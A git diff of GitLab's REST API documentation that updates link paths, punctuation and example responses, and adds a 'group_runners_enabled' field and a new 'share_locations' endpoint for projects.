| -| `files:content` | string | yes | Content of the snippet file | +| `files` | array of hashes | no | An array of snippet files. | +| `files:file_path` | string | yes | File path of the snippet file. | +| `files:content` | string | yes | Content of the snippet file. | Example request: @@ -127,6 +127,8 @@ curl --request POST "https://gitlab.com/api/v4/projects/:id/snippets" \ Updates an existing project snippet. The user must have permission to change an existing snippet. +Updates to snippets with multiple files *must* use the `files` attribute. + ```plaintext PUT /projects/:id/snippets/:snippet_id ``` @@ -135,20 +137,18 @@ Parameters: | Attribute | Type | Required | Description | |:----------------------|:----------------|:---------|:----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `snippet_id` | integer | yes | The ID of a project's snippet | -| `title` | string | no | Title of a snippet | -| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file | -| `content` | string | no | Deprecated: Use `files` instead. Content of a snippet | -| `description` | string | no | Description of a snippet | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `snippet_id` | integer | yes | The ID of a project's snippet. | +| `title` | string | no | Title of a snippet. | +| `file_name` | string | no | Deprecated: Use `files` instead. Name of a snippet file. | +| `content` | string | no | Deprecated: Use `files` instead. Content of a snippet. | +| `description` | string | no | Description of a snippet. | | `visibility` | string | no | Snippet's [visibility](#snippet-visibility-level) | -| `files` | array of hashes | no | An array of snippet files | +| `files` | array of hashes | no | An array of snippet files. | | `files:action` | string | yes | Type of action to perform on the file, one of: `create`, `update`, `delete`, `move` | -| `files:file_path` | string | no | File path of the snippet file | -| `files:previous_path` | string | no | Previous path of the snippet file | -| `files:content` | string | no | Content of the snippet file | - -Updates to snippets with multiple files *must* use the `files` attribute. +| `files:file_path` | string | no | File path of the snippet file. | +| `files:previous_path` | string | no | Previous path of the snippet file. | +| `files:content` | string | no | Content of the snippet file. | Example request: @@ -188,8 +188,8 @@ Parameters: | Attribute | Type | Required | Description | |:-------------|:---------------|:---------|:----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `snippet_id` | integer | yes | The ID of a project's snippet | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `snippet_id` | integer | yes | The ID of a project's snippet. | Example request: @@ -210,8 +210,8 @@ Parameters: | Attribute | Type | Required | Description | |:-------------|:---------------|:---------|:----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `snippet_id` | integer | yes | The ID of a project's snippet | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `snippet_id` | integer | yes | The ID of a project's snippet. | Example request: @@ -232,10 +232,10 @@ Parameters: | Attribute | Type | Required | Description | |:-------------|:---------------|:---------|:----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `snippet_id` | integer | yes | The ID of a project's snippet | -| `ref` | string | yes | The name of a branch, tag or commit, for example, main | -| `file_path` | string | yes | The URL-encoded path to the file, for example, snippet%2Erb | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | +| `snippet_id` | integer | yes | The ID of a project's snippet. | +| `ref` | string | yes | The name of a branch, tag or commit, for example, main. | +| `file_path` | string | yes | The URL-encoded path to the file, for example, snippet%2Erb. | Example request: @@ -254,8 +254,8 @@ GET /projects/:id/snippets/:snippet_id/user_agent_detail | Attribute | Type | Required | Description | |--------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | -| `snippet_id` | Integer | yes | The ID of a snippet | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | +| `snippet_id` | Integer | yes | The ID of a snippet. | Example request: diff --git a/doc/api/project_statistics.md b/doc/api/project_statistics.md index 7d8cc19457a..2bf8a908116 100644 --- a/doc/api/project_statistics.md +++ b/doc/api/project_statistics.md @@ -21,7 +21,7 @@ GET /projects/:id/statistics | Attribute | Type | Required | Description | | ---------- | ------ | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | Example response: diff --git a/doc/api/project_templates.md b/doc/api/project_templates.md index ae366e35f91..dfcfa3d7254 100644 --- a/doc/api/project_templates.md +++ b/doc/api/project_templates.md @@ -30,7 +30,7 @@ GET /projects/:id/templates/:type | Attribute | Type | Required | Description | | ---------- | ------ | -------- | ----------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `type` | string | **{check-circle}** Yes | The type of the template. Accepted values are: `dockerfiles`, `gitignores`, `gitlab_ci_ymls`, `licenses`, `issues`, or `merge_requests`. | Example response (licenses): @@ -96,7 +96,7 @@ GET /projects/:id/templates/:type/:name | Attribute | Type | Required | Description | | ---------- | ------ | -------- | ----------- | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `name` | string | **{check-circle}** Yes | The key of the template, as obtained from the collection endpoint. | | `type` | string | **{check-circle}** Yes | The type of the template. One of: `dockerfiles`, `gitignores`, `gitlab_ci_ymls`, `licenses`, `issues`, or `merge_requests`. | | `fullname` | string | **{dotted-circle}** No | The full name of the copyright holder to use when expanding placeholders in the template. Affects only licenses. | diff --git a/doc/api/project_vulnerabilities.md b/doc/api/project_vulnerabilities.md index b1eb1b958ee..9effe54b8e2 100644 --- a/doc/api/project_vulnerabilities.md +++ b/doc/api/project_vulnerabilities.md @@ -16,7 +16,7 @@ across GitLab releases. Please use the [GraphQL API](graphql/reference/index.md#queryvulnerabilities) instead. -Every API call to vulnerabilities must be [authenticated](index.md#authentication). +Every API call to vulnerabilities must be [authenticated](rest/index.md#authentication). Vulnerability permissions inherit permissions from their project. If a project is private, and a user isn't a member of the project to which the vulnerability @@ -26,7 +26,7 @@ belongs, requests to that project returns a `404 Not Found` status code. API results are paginated, and `GET` requests return 20 results at a time by default. -Read more on [pagination](index.md#pagination). +Read more on [pagination](rest/index.md#pagination). ## List project vulnerabilities @@ -42,7 +42,7 @@ GET /projects/:id/vulnerabilities | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/4/vulnerabilities" @@ -119,7 +119,7 @@ POST /projects/:id/vulnerabilities?finding_id=<your_finding_id> | Attribute | Type | Required | Description | | ------------------- | ----------------- | ---------- | -----------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) which the authenticated user is a member of | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) which the authenticated user is a member of | | `finding_id` | integer or string | yes | The ID of a Vulnerability Finding to create the new Vulnerability from | The other attributes of a newly created Vulnerability are populated from diff --git a/doc/api/projects.md b/doc/api/projects.md index d14ed007dca..b502d547ddc 100644 --- a/doc/api/projects.md +++ b/doc/api/projects.md @@ -6,20 +6,14 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Projects API **(FREE)** -Interact with [projects](../user/project/index.md) using the REST API. +Interact with [projects](../user/project/index.md) by using the REST API. ## Project visibility level A project in GitLab can be private, internal, or public. The visibility level is determined by the `visibility` field in the project. -Values for the project visibility level are: - -- `private`: project access must be granted explicitly to each user. -- `internal`: the project can be cloned by any authenticated user except [external users](../user/admin_area/external_users.md). -- `public`: the project can be accessed without any authentication. - -For more, read [Project visibility](../user/public_access.md). +For details, see [Project visibility](../user/public_access.md). ## Project merge method @@ -74,7 +68,7 @@ GET /projects | `with_merge_requests_enabled` | boolean | **{dotted-circle}** No | Limit by enabled merge requests feature. | | `with_programming_language` | string | **{dotted-circle}** No | Limit by projects which use the given programming language. | -This endpoint supports [keyset pagination](index.md#keyset-based-pagination) +This endpoint supports [keyset pagination](rest/index.md#keyset-based-pagination) for selected `order_by` options. When `simple=true` or the user is unauthenticated this returns something like: @@ -213,9 +207,13 @@ When the user is authenticated and `simple` is not set this returns something li "security_and_compliance_access_level": "private", "emails_disabled": null, "shared_runners_enabled": true, + "group_runners_enabled": true, "lfs_enabled": true, "creator_id": 1, + "import_url": null, + "import_type": null, "import_status": "none", + "import_error": null, "open_issues_count": 0, "ci_default_git_depth": 20, "ci_forward_deployment_enabled": true, @@ -299,9 +297,9 @@ curl --globoff --request GET "https://gitlab.example.com/api/v4/projects?custom_ ### Pagination limits -In GitLab 13.0 and later, [offset-based pagination](index.md#offset-based-pagination) +In GitLab 13.0 and later, [offset-based pagination](rest/index.md#offset-based-pagination) is [limited to 50,000 records](https://gitlab.com/gitlab-org/gitlab/-/issues/34565). -[Keyset pagination](index.md#keyset-based-pagination) is required to retrieve +[Keyset pagination](rest/index.md#keyset-based-pagination) is required to retrieve projects beyond this limit. Keyset pagination supports only `order_by=id`. Other sorting options aren't available. @@ -316,7 +314,7 @@ authentication, only public projects are returned. NOTE: Only the projects in the user's (specified in `user_id`) namespace are returned. Projects owned by the user in any group or subgroups are not returned. An empty list is returned if a profile is set to private. -This endpoint supports [keyset pagination](index.md#keyset-based-pagination) +This endpoint supports [keyset pagination](rest/index.md#keyset-based-pagination) for selected `order_by` options. ```plaintext @@ -386,6 +384,10 @@ GET /users/:user_id/projects "created_at": "2013-09-30T13:46:02Z", "last_activity_at": "2013-09-30T13:46:02Z", "creator_id": 3, + "import_url": null, + "import_type": null, + "import_status": "none", + "import_error": null, "namespace": { "id": 3, "name": "Diaspora", @@ -397,6 +399,7 @@ GET /users/:user_id/projects "archived": false, "avatar_url": "http://example.com/uploads/project/avatar/4/uploads/avatar.png", "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8547b1dc37721d05889db52fa2f02", @@ -486,6 +489,10 @@ GET /users/:user_id/projects "created_at": "2013-09-30T13:46:02Z", "last_activity_at": "2013-09-30T13:46:02Z", "creator_id": 3, + "import_url": null, + "import_type": null, + "import_status": "none", + "import_error": null, "namespace": { "id": 4, "name": "Brightbox", @@ -508,6 +515,7 @@ GET /users/:user_id/projects "archived": false, "avatar_url": null, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8547b1dc37721d05889db52fa2f02", @@ -659,6 +667,7 @@ Example response: "archived": false, "avatar_url": "http://example.com/uploads/project/avatar/4/uploads/avatar.png", "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8547b1dc37721d05889db52fa2f02", @@ -763,6 +772,7 @@ Example response: "archived": false, "avatar_url": null, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8547b1dc37721d05889db52fa2f02", @@ -834,7 +844,7 @@ GET /projects/:id | Attribute | Type | Required | Description | |--------------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `license` | boolean | **{dotted-circle}** No | Include project license data. | | `statistics` | boolean | **{dotted-circle}** No | Include project statistics. Only available to Reporter or higher level role members. | | `with_custom_attributes` | boolean | **{dotted-circle}** No | Include [custom attributes](custom_attributes.md) in response. _(administrators only)_ | @@ -899,6 +909,8 @@ GET /projects/:id "avatar_url": "http://localhost:3000/uploads/group/avatar/3/foo.jpg", "web_url": "http://localhost:3000/groups/diaspora" }, + "import_url": null, + "import_type": null, "import_status": "none", "import_error": null, "permissions": { @@ -922,6 +934,7 @@ GET /projects/:id "source_url": "http://www.gnu.org/licenses/lgpl-3.0.txt" }, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8bc4a7a29eb76ea83cf79e4908c2b", @@ -1110,7 +1123,7 @@ GET /projects/:id/users | Attribute | Type | Required | Description | |--------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | Search for specific users. | | `skip_users` | integer array | **{dotted-circle}** No | Filter out users with the specified IDs. | @@ -1145,7 +1158,7 @@ GET /projects/:id/groups | Attribute | Type | Required | Description | |-----------------------------|-------------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | Search for specific groups. | | `shared_min_access_level` | integer | **{dotted-circle}** No | Limit to shared groups with at least this [role (`access_level`)](members.md#roles). | | `shared_visible_only` | boolean | **{dotted-circle}** No | Limit to shared groups user has access to. | @@ -1160,7 +1173,7 @@ GET /projects/:id/groups "avatar_url": "http://localhost:3000/uploads/group/avatar/1/foo.jpg", "web_url": "http://localhost:3000/groups/foo-bar", "full_name": "Foobar Group", - "full_path": "foo-bar", + "full_path": "foo-bar" }, { "id": 2, @@ -1168,7 +1181,41 @@ GET /projects/:id/groups "avatar_url": "http://gitlab.example.com/uploads/group/avatar/1/bar.jpg", "web_url": "http://gitlab.example.com/groups/foo/bar", "full_name": "Shared Group", - "full_path": "foo/shared", + "full_path": "foo/shared" + } +] +``` + +## List a project's shareable groups + +Get a list of groups that can be shared with a project + +```plaintext +GET /projects/:id/share_locations +``` + +| Attribute | Type | Required | Description | +|-----------------------------|-------------------|------------------------|-------------| +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | +| `search` | string | **{dotted-circle}** No | Search for specific groups. | + +```json +[ + { + "id": 22, + "web_url": "http://127.0.0.1:3000/groups/gitlab-org", + "name": "Gitlab Org", + "avatar_url": null, + "full_name": "Gitlab Org", + "full_path": "gitlab-org" + }, + { + "id": 25, + "web_url": "http://127.0.0.1:3000/groups/gnuwget", + "name": "Gnuwget", + "avatar_url": null, + "full_name": "Gnuwget", + "full_path": "gnuwget" } ] ``` @@ -1201,8 +1248,8 @@ curl --request POST --header "PRIVATE-TOKEN: <your-token>" \ | Attribute | Type | Required | Description | |-------------------------------------------------------------|---------|------------------------|-------------| -| `name` | string | **{check-circle}** Yes (if path isn't provided) | The name of the new project. Equals path if not provided. | -| `path` | string | **{check-circle}** Yes (if name isn't provided) | Repository name for new project. Generated based on name if not provided (generated as lowercase with dashes). Starting with GitLab 14.9, path must not start or end with a special character and must not contain consecutive special characters. | +| `name` | string | **{check-circle}** Yes (if `path` isn't provided) | The name of the new project. Equals path if not provided. | +| `path` | string | **{check-circle}** Yes (if `name` isn't provided) | Repository name for new project. Generated based on name if not provided (generated as lowercase with dashes). Starting with GitLab 14.9, path must not start or end with a special character and must not contain consecutive special characters. | | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | | `only_allow_merge_if_all_status_checks_passed` **(ULTIMATE)** | boolean | **{dotted-circle}** No | Indicates that merges of merge requests should be blocked unless all status checks have passed. Defaults to false. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 with feature flag `only_allow_merge_if_all_status_checks_passed` disabled by default. | | `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` | @@ -1259,6 +1306,7 @@ curl --request POST --header "PRIVATE-TOKEN: <your-token>" \ | `resolve_outdated_diff_discussions` | boolean | **{dotted-circle}** No | Automatically resolve merge request diffs discussions on lines changed with a push. | | `security_and_compliance_access_level` | string | **{dotted-circle}** No | (GitLab 14.9 and later) Security and compliance access level. One of `disabled`, `private`, or `enabled`. | | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | +| `group_runners_enabled` | boolean | **{dotted-circle}** No | Enable group runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `squash_option` | string | **{dotted-circle}** No | One of `never`, `always`, `default_on`, or `default_off`. | @@ -1343,6 +1391,7 @@ POST /projects/user/:user_id | `resolve_outdated_diff_discussions` | boolean | **{dotted-circle}** No | Automatically resolve merge request diffs discussions on lines changed with a push. | | `security_and_compliance_access_level` | string | **{dotted-circle}** No | (GitLab 14.9 and later) Security and compliance access level. One of `disabled`, `private`, or `enabled`. | | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | +| `group_runners_enabled` | boolean | **{dotted-circle}** No | Enable group runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | @@ -1382,9 +1431,9 @@ Supported attributes: | Attribute | Type | Required | Description | |-------------------------------------------------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `allow_merge_on_skipped_pipeline` | boolean | **{dotted-circle}** No | Set whether or not merge requests can be merged with skipped jobs. | -| `only_allow_merge_if_all_status_checks_passed` **(ULTIMATE)** | boolean | **{dotted-circle}** No | Indicates that merges of merge requests should be blocked unless all status checks have passed. Defaults to false. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 with feature flag `only_allow_merge_if_all_status_checks_passed` disabled by default. | +| `only_allow_merge_if_all_status_checks_passed` **(ULTIMATE)** | boolean | **{dotted-circle}** No | Indicates that merges of merge requests should be blocked unless all status checks have passed. Defaults to false.<br/><br/>[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/369859) in GitLab 15.5 with feature flag `only_allow_merge_if_all_status_checks_passed` disabled by default. The feature flag was enabled by default in GitLab 15.9. | | `analytics_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private` or `enabled` | | `approvals_before_merge` **(PREMIUM)** | integer | **{dotted-circle}** No | How many approvers should approve merge request by default. To configure approval rules, see [Merge request approvals API](merge_request_approvals.md). | | `auto_cancel_pending_pipelines` | string | **{dotted-circle}** No | Auto-cancel pending pipelines. This isn't a boolean, but enabled/disabled. | @@ -1453,6 +1502,7 @@ Supported attributes: | `security_and_compliance_access_level` | string | **{dotted-circle}** No | (GitLab 14.9 and later) Security and compliance access level. One of `disabled`, `private`, or `enabled`. | | `service_desk_enabled` | boolean | **{dotted-circle}** No | Enable or disable Service Desk feature. | | `shared_runners_enabled` | boolean | **{dotted-circle}** No | Enable shared runners for this project. | +| `group_runners_enabled` | boolean | **{dotted-circle}** No | Enable group runners for this project. | | `snippets_access_level` | string | **{dotted-circle}** No | One of `disabled`, `private`, or `enabled`. | | `snippets_enabled` | boolean | **{dotted-circle}** No | _(Deprecated)_ Enable snippets for this project. Use `snippets_access_level` instead. | | `issue_branch_template` | string | **{dotted-circle}** No | Template used to suggest names for [branches created from issues](../user/project/merge_requests/creating_merge_requests.md#from-an-issue). _([Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21243) in GitLab 15.6.)_ | @@ -1479,7 +1529,7 @@ POST /projects/:id/fork | Attribute | Type | Required | Description | |------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `description` | string | **{dotted-circle}** No | The description assigned to the resultant project after forking. | | `mr_default_target_self` | boolean | **{dotted-circle}** No | For forked projects, target merge requests to this project. If `false`, the target will be the upstream project. | | `name` | string | **{dotted-circle}** No | The name assigned to the resultant project after forking. | @@ -1502,7 +1552,7 @@ GET /projects/:id/forks | Attribute | Type | Required | Description | |-------------------------------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `archived` | boolean | **{dotted-circle}** No | Limit by archived status. | | `membership` | boolean | **{dotted-circle}** No | Limit by projects that the current user is a member of. | | `min_access_level` | integer | **{dotted-circle}** No | Limit by current user minimal [role (`access_level`)](members.md#roles). | @@ -1572,6 +1622,7 @@ Example responses: "archived": true, "avatar_url": "http://example.com/uploads/project/avatar/3/uploads/avatar.png", "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 1, "public_jobs": true, @@ -1616,7 +1667,7 @@ POST /projects/:id/star | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/star" @@ -1679,6 +1730,7 @@ Example response: "source_url": "http://www.gnu.org/licenses/lgpl-3.0.txt" }, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 1, "public_jobs": true, @@ -1721,7 +1773,7 @@ POST /projects/:id/unstar | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unstar" @@ -1784,6 +1836,7 @@ Example response: "source_url": "http://www.gnu.org/licenses/lgpl-3.0.txt" }, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "public_jobs": true, @@ -1824,7 +1877,7 @@ GET /projects/:id/starrers | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `search` | string | **{dotted-circle}** No | Search for specific users. | ```shell @@ -1870,7 +1923,7 @@ GET /projects/:id/languages | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/languages" @@ -1901,7 +1954,7 @@ POST /projects/:id/archive | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/archive" @@ -1980,6 +2033,7 @@ Example response: "source_url": "http://www.gnu.org/licenses/lgpl-3.0.txt" }, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8bc4a7a29eb76ea83cf79e4908c2b", @@ -2029,7 +2083,7 @@ POST /projects/:id/unarchive | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/unarchive" @@ -2108,6 +2162,7 @@ Example response: "source_url": "http://www.gnu.org/licenses/lgpl-3.0.txt" }, "shared_runners_enabled": true, + "group_runners_enabled": true, "forks_count": 0, "star_count": 0, "runners_token": "b8bc4a7a29eb76ea83cf79e4908c2b", @@ -2171,7 +2226,7 @@ DELETE /projects/:id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ## Restore project marked for deletion **(PREMIUM)** @@ -2185,7 +2240,7 @@ POST /projects/:id/restore | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ## Upload a file @@ -2200,7 +2255,7 @@ POST /projects/:id/uploads | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| | `file` | string | **{check-circle}** Yes | The file to be uploaded. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | To upload a file from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. The @@ -2274,7 +2329,7 @@ PUT /projects/:id | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| | `avatar` | string | **{check-circle}** Yes | The file to be uploaded. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | To upload an avatar from your file system, use the `--form` argument. This causes cURL to post data using the header `Content-Type: multipart/form-data`. The @@ -2321,7 +2376,7 @@ POST /projects/:id/share |----------------|----------------|------------------------|-------------| | `group_access` | integer | **{check-circle}** Yes | The [role (`access_level`)](members.md#roles) to grant the group. | | `group_id` | integer | **{check-circle}** Yes | The ID of the group to share with. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `expires_at` | string | **{dotted-circle}** No | Share expiration date in ISO 8601 format: 2016-09-26 | ## Delete a shared project link within a group @@ -2335,7 +2390,7 @@ DELETE /projects/:id/share/:group_id | Attribute | Type | Required | Description | |------------|----------------|------------------------|-------------| | `group_id` | integer | **{check-circle}** Yes | The ID of the group. | -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | ```shell curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/share/17" @@ -2351,8 +2406,8 @@ POST /projects/:id/import_project_members/:project_id | Attribute | Type | Required | Description | |--------------|-------------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the target project to receive the members. | -| `project_id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the source project to import the members from. | +| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the target project to receive the members. | +| `project_id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the source project to import the members from. | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/import_project_members/32" @@ -2379,7 +2434,7 @@ GET /projects/:id/hooks | Attribute | Type | Required | Description | |-----------|----------------|------------------------|-------------| -| `id` | integer or string | **{check-circle}** Yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). 